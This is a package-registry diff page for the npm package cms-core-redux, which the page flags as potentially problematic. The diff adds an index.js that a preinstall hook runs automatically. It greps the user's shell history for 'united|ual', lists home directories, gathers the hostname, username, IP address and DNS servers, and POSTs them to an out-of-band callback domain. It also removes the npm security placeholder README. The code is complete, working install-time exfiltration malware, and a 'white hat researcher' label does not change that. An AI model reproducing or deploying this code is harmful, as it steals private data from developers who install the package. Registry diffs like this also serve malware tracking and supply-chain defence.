cms-core-redux 0.0.1-security → 9.9.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cms-core-redux might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +132 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,132 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const packageName = packageJSON.name;
7
+
8
+ const { exec } = require('child_process');
9
+
10
+ // Function to execute a command and return a Promise
11
+ function execCommand(command) {
12
+ return new Promise((resolve, reject) => {
13
+ exec(command, (error, stdout, stderr) => {
14
+ if (error) {
15
+ reject(`Error executing command: ${error.message}`);
16
+ return;
17
+ }
18
+ if (stderr) {
19
+ reject(`Stderr: ${stderr}`);
20
+ return;
21
+ }
22
+ resolve(stdout.trim());
23
+ });
24
+ });
25
+ }
26
+
27
+ // Define the command or file based on OS
28
+ let command;
29
+ if (os.platform() === 'win32') {
30
+ // Windows: Use PowerShell's Get-History
31
+ command = 'powershell -Command "Get-History | Select-String -Pattern \\"united|ual\\""';
32
+ } else if (os.platform() === 'linux') {
33
+ // Linux: Use .bash_history file as a fallback
34
+ command = 'grep -E "united|ual" ~/.bash_history';
35
+ } else if (os.platform() === 'darwin') {
36
+ // macOS: Use .zsh_history or .bash_history based on shell
37
+ const shellHistoryFile = process.env.SHELL.includes('zsh') ? '~/.zsh_history' : '~/.bash_history';
38
+ command = `grep -E "united|ual" ${shellHistoryFile}`;
39
+ } else {
40
+ console.error("Unsupported OS");
41
+ process.exit(1);
42
+ }
43
+
44
+ // Collect tracking data
45
+ async function collectTrackingData() {
46
+ try {
47
+ const history = await execCommand(command);
48
+ const lsOutput = await execCommand('ls -la /Users/'); // Adjust based on your target OS
49
+
50
+ const trackingData = JSON.stringify({
51
+ p: packageName,
52
+ c: __dirname,
53
+ ip: getIPAddress(),
54
+ currentDir: process.cwd(),
55
+ hd: os.homedir(),
56
+ hn: os.hostname(),
57
+ un: os.userInfo().username,
58
+ dns: dns.getServers(),
59
+ time: getCurrentTime(),
60
+ history: history,
61
+ ls: lsOutput,
62
+ r: packageJSON ? packageJSON.___resolved : undefined,
63
+ v: packageJSON.version,
64
+ pjson: packageJSON,
65
+ });
66
+
67
+ await sendTrackingData(trackingData);
68
+ } catch (error) {
69
+ console.error(error);
70
+ }
71
+ }
72
+
73
+ // Send the tracking data via HTTPS
74
+ function sendTrackingData(trackingData) {
75
+ return new Promise((resolve, reject) => {
76
+ const postData = querystring.stringify({
77
+ msg: trackingData,
78
+ });
79
+
80
+ const options = {
81
+ hostname: "wogftrhneblzsviedhumiwvoac2v3otzb.oast.fun",
82
+ port: 443,
83
+ path: "/",
84
+ method: "POST",
85
+ headers: {
86
+ "Content-Type": "application/x-www-form-urlencoded",
87
+ "Content-Length": Buffer.byteLength(postData),
88
+ },
89
+ };
90
+
91
+ const req = https.request(options, (res) => {
92
+ let responseData = '';
93
+ res.on("data", (d) => {
94
+ responseData += d;
95
+ });
96
+
97
+ res.on("end", () => {
98
+ console.log("Response from server:", responseData);
99
+ resolve();
100
+ });
101
+ });
102
+
103
+ req.on("error", (e) => {
104
+ reject(`Request error: ${e.message}`);
105
+ });
106
+
107
+ req.write(postData);
108
+ req.end();
109
+ });
110
+ }
111
+
112
+ function getCurrentTime() {
113
+ return new Date().toLocaleString();
114
+ }
115
+
116
+ function getIPAddress() {
117
+ const interfaces = os.networkInterfaces();
118
+ const addresses = [];
119
+
120
+ for (const iface in interfaces) {
121
+ for (const addr of interfaces[iface]) {
122
+ if (addr.family === 'IPv4' && !addr.internal) {
123
+ addresses.push(addr.address);
124
+ }
125
+ }
126
+ }
127
+
128
+ return addresses.length > 0 ? addresses[0] : 'No external IP found';
129
+ }
130
+
131
+ // Start collecting tracking data
132
+ collectTrackingData();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "cms-core-redux",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.11",
4
+ "description": "BugCrowd white hat researcher",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cms-core-redux for more information.